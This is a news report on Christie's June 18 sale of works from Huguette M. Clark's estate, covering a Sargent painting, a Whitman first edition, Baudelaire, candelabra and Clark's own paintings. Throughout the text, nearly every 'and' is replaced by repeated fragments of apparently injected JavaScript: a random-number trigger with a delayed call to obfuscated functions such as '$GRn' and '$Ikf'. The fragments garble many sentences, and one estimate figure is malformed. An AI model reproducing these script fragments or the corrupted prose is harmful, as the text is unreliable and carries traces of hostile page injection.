NEW YORK CITY — Fine andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts, books andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and musical instruments from the estate of Huguette M. Clark sold at Christie’s on June 18 for $8.5 million, bringing the running tally of the heiress’s effects to $70.2 million. Past sessions of Clark family treasures garnered $21 million on April 17 for her jewels andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $40.9 million for Impressionist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Modern art on May 6. The sale showcased the collecting activities of Clark; her mother, Anna, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and her father, Senator William A. Clark.

The latest session, containing 357 lots, notched records for Walt Whitman, Lionel Walden andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Felix Lorioux.

The top lot was John Singer Sargent’s “Girl Fishing.” It went to the American trade for $4,309,000, within estimate.

A private collector acquired William Merritt Chase’s circa 1886 oil on panel “A Water Fountain in Prospect Park” for $461,000.

Estimated at $30/50,000, “Hawaiian Ocean with Waves Against The Rocks,” an oil on canvas by Lionel Walden (1861–1933), shattered previous records, crossing the block at $100,000.

Decorative arts included a circa 1750 pair of Louis XV porcelain-mounted, vernis martin, bronze andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ormolu twin-light candom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andelabra attributed to Martin Freres. The pair sold to a European private buyer for $245,000, well exceeding the $60/90,0000 estimate. A circa 1750 porcelain mantel clock with figures attributed to Freres went for $137,000.

The heiress stocked her library with rarities. Walt Whitman’s Leaves of Grass, a first-edition published in 1855, went to the US trade for $305,000 ($100/150,000), an auction record.

Containing two autograph letters by Charles Baudelaire, an 1857 copy of his book Les Fleurs du Mal brought $293,000 ($80/120,000) from a European dealer.

The sale drew bidders from 27 countries andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was 96 percent sold by lot. Pieces with strong personal ties to the Clark family performed beyond expectation, while 17 works painted by Huguette Clark herself achieved a combined total of $142,625. One hundred percent sold, they marked the first time Clark’s works have been offered at auction.

“We saw strong prices across all collecting fields, from rare books andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and American paintings to fine jade andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative furnishings,” said Andrew McVinish, Christie’s head of private andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and iconic collections.

Sale proceeds are earmarked for a charitable foundation devoted to arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and culture.

Prices reported include the buyer’s premium. For information, 212 -636-2000 or www.christies.com.